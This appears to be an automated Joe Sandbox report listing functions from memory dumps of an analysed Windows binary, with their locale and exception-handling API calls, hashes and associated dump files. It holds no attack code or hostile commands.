Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 63bd9e07e109dda6ddd9bbfcfc862067f8fcc3ccd9904bec15b07533b668153e
Instruction ID: 6cd37e95face5038236df0a43ed8e42ba04b395dbdbd03309bcf1a292d149bf0
Opcode Fuzzy Hash: 63bd9e07e109dda6ddd9bbfcfc862067f8fcc3ccd9904bec15b07533b668153e
Instruction Fuzzy Hash: 1421A132710504A6DB34CF64D901A9BB3A6BB70B92F568724ED0ACB144F732DE49C352

Function 00A5A235 Relevance: 7.7, APIs: 5, Instructions: 183COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32(?,?,?,?,?), ref: 00A5A341
IsValidCodePage.KERNEL32(00000000), ref: 00A5A38A
IsValidLocale.KERNEL32(?,?), ref: 00A5A399
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00A5A3E1
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 00A5A400

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: Locale$InfoValid$CodeDefaultPageUser
String ID:
API String ID: 3475089800-0
Opcode ID: e398cace8b8b68bde15368921bc3860b2d702e954c27b8846109667f3d81cbb1
Instruction ID: 9b12f0d630149aae2237124affbcc60f3b63c7a85e3a69fbecc2b4b2b4989b18
Opcode Fuzzy Hash: e398cace8b8b68bde15368921bc3860b2d702e954c27b8846109667f3d81cbb1
Instruction Fuzzy Hash: EB51A375A00205AFDB10DFA4DC45ABE77B8FF28712F084669ED15EB190E7709A08CB62

Function 00A598D1 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMON

Download Yara Rule

APIs

GetACP.KERNEL32(?,?,?,?,?,?,00A4F766,?,?,?), ref: 00A59992
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00A4F766,?,?,?), ref: 00A599BD
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,?,00000000,?), ref: 00A59B20

Strings

utf8, xrefs: 00A59A8F

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: CodeInfoLocalePageValid
String ID: utf8
API String ID: 790303815-905460609
Opcode ID: 48f941b6a297114b178411bb265e681850db535d0a6ef23c9d05ec890c7a57d0
Instruction ID: 4417fc323bacd015a09a25f5b0482d9beed11c96d0f28d193ad5ab3c07688f03
Opcode Fuzzy Hash: 48f941b6a297114b178411bb265e681850db535d0a6ef23c9d05ec890c7a57d0
Instruction Fuzzy Hash: D171F371A00202EAEB24AB75CD46BBB73A8FF45342F144429FE06DF191EA74E949C761

Function 00A47775 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00A47781
IsDebuggerPresent.KERNEL32 ref: 00A4784D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00A47866
UnhandledExceptionFilter.KERNEL32(?), ref: 00A47870

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 4c18014cb09e0b1a69dff5b0fe01b146ddccbce431407cbbd28601727ef676b0
Instruction ID: 8a5b3bf5e86172a787a381f3d675e487189d2b37250083218230db6597793097
Opcode Fuzzy Hash: 4c18014cb09e0b1a69dff5b0fe01b146ddccbce431407cbbd28601727ef676b0
Instruction Fuzzy Hash: 7B31E779D053189ADB60EFA4D9497CDBBB8AF48300F1041EAE40CAB290EB709B85CF45

Function 00A47451 Relevance: 6.0, APIs: 4, Instructions: 11COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00A47455
UnhandledExceptionFilter.KERNEL32(?), ref: 00A4745E
GetCurrentProcess.KERNEL32(C0000409), ref: 00A47469
TerminateProcess.KERNEL32(00000000), ref: 00A47470

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: a09caf9b21b2dd1a00f9fc06ab1b40399ccc23ee4e3d092dc23f96ddb4cdce05
Instruction ID: f2e5eeb359a72696da12b62f254eb453a34a0f747900f72dcb0ef8e8c8cb4b82
Opcode Fuzzy Hash: a09caf9b21b2dd1a00f9fc06ab1b40399ccc23ee4e3d092dc23f96ddb4cdce05
Instruction Fuzzy Hash: 1AC0EA72084204ABDA48FBE0FD0DA493A38BB08297F044450F70A954A1DAB547528B62

Function 00A59CE4 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A59D38
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A59D82
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A59E48

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 13bfbd4513d8a07494f6a970060c251266bfb06f908d4b49f33543d8d897fc6b
Instruction ID: f5f84cb8eea643c62a72cfc7c4de235c02bcb805fb130b97a9576461f4b75973
Opcode Fuzzy Hash: 13bfbd4513d8a07494f6a970060c251266bfb06f908d4b49f33543d8d897fc6b
Instruction Fuzzy Hash: DB617B71610207DFEB28DF28CD82BABB7A8FF44302F144169ED05CA585EB78D999DB50

Function 00A4B596 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00A4B68E
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00A4B698
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00A4B6A5

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ba424fb416d83e8ede042369d4fe7561abab2eb245fd4ba43af57677443eb62d
Instruction ID: f137bc6bed895f42910d5d4b8581ee0b0672b0673ed95d4e410d5048d9729b43
Opcode Fuzzy Hash: ba424fb416d83e8ede042369d4fe7561abab2eb245fd4ba43af57677443eb62d
Instruction Fuzzy Hash: 5831E5749013189BCB61DF64D988BCCBBB8BF48310F5041EAE81CA72A0EB749F858F55

Function 00A6D844 Relevance: 2.0, Strings: 1, Instructions: 709COMMON

Download Yara Rule

Strings

, xrefs: 00A6D973

Memory Dump Source

Source File: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 8a4383b03fe71333f069e86fd67c01dbcac83ed138e21a5e32fea010661998e7
Instruction ID: 7cf226cfe6de059efc91b048e0c0a50bbcdbe051aae17f6d44ac44ca93564b44
Opcode Fuzzy Hash: 8a4383b03fe71333f069e86fd67c01dbcac83ed138e21a5e32fea010661998e7
Instruction Fuzzy Hash: 2D72B274E00109DFDB08CF98C694AAEBBB2FB88344F248198D415AB395C775EE42DF94

Function 00A565D5 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,?,?,?), ref: 00A56802

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: baa67617ae04003c84e250e930ad20d7a228f7730a1a01170ffba6cbc376c372
Instruction ID: ee0d5f8f2c3510a7e5ca6952849d2579537e973cfcbdd975e267f42df041f143
Opcode Fuzzy Hash: baa67617ae04003c84e250e930ad20d7a228f7730a1a01170ffba6cbc376c372
Instruction Fuzzy Hash: 0DB15D35610604DFDB18CF28C486B647BF0FF49366F698658E899CF2A1C335E996CB40

Function 00A6A510 Relevance: 1.6, Strings: 1, Instructions: 374COMMON

Download Yara Rule

Strings

, xrefs: 00A6A5A5

Memory Dump Source

Source File: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: ddf757d4eb572ce9c7ac58c16768cf7cfe6af9bcdd981bc60d8a88b270b51dd8
Instruction ID: f362af9980a5568d3547ba23266e17724076b8b989cb17896815ef12df0a16f6
Opcode Fuzzy Hash: ddf757d4eb572ce9c7ac58c16768cf7cfe6af9bcdd981bc60d8a88b270b51dd8
Instruction Fuzzy Hash: B80237B1A04119DBDB18CF5CD981AADB7B2FF85304F2581B9D606AB785D634EF02EB40

Function 00A5730B Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34738da8813e616f05169d65d489db491a9a6e1b685bfe62c05e4621fc2f4c73
Instruction ID: 4d720f258e20dc838325f34d935894ad4c399c8f44237167fa4b691c5aa62679
Opcode Fuzzy Hash: 34738da8813e616f05169d65d489db491a9a6e1b685bfe62c05e4621fc2f4c73
Instruction Fuzzy Hash: F331D476904219AFCB24DFA8DC84DAF777DFB84321F144158FD05A7244EA309D448B50

Function 00A69FE0 Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

, xrefs: 00A6A043

Memory Dump Source

Source File: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: b7068c555860520118bae3b4ac0000e1a1d2df2512953dbc426622d512102231
Instruction ID: 5f23f6366075e0292084366cabd6920c447902edff949277c8d7803066ebf40a
Opcode Fuzzy Hash: b7068c555860520118bae3b4ac0000e1a1d2df2512953dbc426622d512102231
Instruction Fuzzy Hash: 46F10771904219DBEB18CF5CD551BADB7B2EF89304F2481B9D606AB785C634AF02EB84

Function 00A59F37 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00A59F8B

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: fb2ecdb7f0b64ebaf90de7c9d055af5c3e16bbaaebd69f1dcfd10f6f9eb133ed
Instruction ID: 64cfa470da09ac454b6f708417d6d5b6a2b8622a90a0bfeb472db003a5eb8334
Opcode Fuzzy Hash: fb2ecdb7f0b64ebaf90de7c9d055af5c3e16bbaaebd69f1dcfd10f6f9eb133ed
Instruction Fuzzy Hash: 0C217F72615206ABDB289B25DD82ABB73ACFB54312B10416AFD06DA181EA749D09CB50

Function 00A59BBE Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(00A59CE4,?,00000000,?,?,?,00A5A315,00000000,?,?,?,?,?), ref: 00A59C30

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: af41d4e1e88c56bf3fd6017a90ae39542a1130bb7229b2b2614e1b6239f8ebe2
Instruction ID: 68813c669da374f6d8876f42985f73415924b9f6cdb72fea3b0aec8a0bf5f2df
Opcode Fuzzy Hash: af41d4e1e88c56bf3fd6017a90ae39542a1130bb7229b2b2614e1b6239f8ebe2
Instruction Fuzzy Hash: 4E11293A2003019FDB18DF39C8916BBB791FF8036AB19482DED878BA40D3716906C740

Function 00A5A166 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00A59F00,00000000,00000000,?), ref: 00A5A192

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 27860120b41a0f24aba941c79430e2fa48018eea3aad3adaa39410c9d472ee67
Instruction ID: 076b4c963083dd5696b61209c76f35e866113ddc07fe30d4104fbc36d2ff32ee
Opcode Fuzzy Hash: 27860120b41a0f24aba941c79430e2fa48018eea3aad3adaa39410c9d472ee67
Instruction Fuzzy Hash: 74F04432740A11ABDB289B20CC16BBA7768FB40356F040A28EC02A31C0EA30FE46C691

Function 00A59C59 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(00A59F37,?,?,?,?,?,00A5A2D9,?,?,?,?,?,?,?), ref: 00A59CA3

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 62ad2c544de43303dc216b6ff8d847e34438b018deca5533a72a27bf9d17d4d6
Instruction ID: 65dd58d20118d835f198bd12d6c5cd638e0196ce44bc96eb0e07038411d84a7e
Opcode Fuzzy Hash: 62ad2c544de43303dc216b6ff8d847e34438b018deca5533a72a27bf9d17d4d6
Instruction Fuzzy Hash: 7CF0F6362003049FDB149F399C81A7B7BD5FF80369F49442DFD068FA80C6B1AC06CA50

Function 00A519F2 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 00A4B8E4: EnterCriticalSection.KERNEL32(-00C444C8,?,00A50783,?,00A668F0,0000000C,00A50A4E,?), ref: 00A4B8F3

EnumSystemLocalesW.KERNEL32(00A519E5,?,00A669D0,0000000C,00A51D98,00000000), ref: 00A51A2A

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 4c489910de8efcbe92fc52151d5cb07b7da8332e075d614a4947257e4aaf5102
Instruction ID: 9835298cde55639b45870e4638d916499c3306e0ceedd906ba4075db44df99ab
Opcode Fuzzy Hash: 4c489910de8efcbe92fc52151d5cb07b7da8332e075d614a4947257e4aaf5102
Instruction Fuzzy Hash: 1AF0493AA40200EFD704DFA8E902B9D7BB0FB45721F10452AF814DB2E1DBB54905CF40

Function 00A59B73 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(00A59ACC,?,?,?,?,00A5A337,?,?,?,?,?,?,?), ref: 00A59BAA

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393427128.0000000000C45000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_a40000_d1bc91bd44a0.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 10c9af20685678cb4e171e2900f7de48ab003cf48d0714003cdc02a0cc735e59
Instruction ID: aaaa7832cb16fa160ed3165b81603e7b4099850a69c85a1dea50da2c599b7179
Opcode Fuzzy Hash: 10c9af20685678cb4e171e2900f7de48ab003cf48d0714003cdc02a0cc735e59
Instruction Fuzzy Hash: A0F0E53A300205A7DB049F39DC5576BBFA5FFC1762B0B4458EE098F691C6719947C790

Function 00A51E9C Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,00000002,?,?,?,00A55B5F,?,?,?,00000002), ref: 00A51ED0

Memory Dump Source

Source File: 00000001.00000002.1393150583.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000001.00000002.1393133042.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393168175.0000000000A5E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393399551.0000000000C43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1393414631.0000000000C44000.00000004.00000001.01000000.00000003.sdmpDownload File
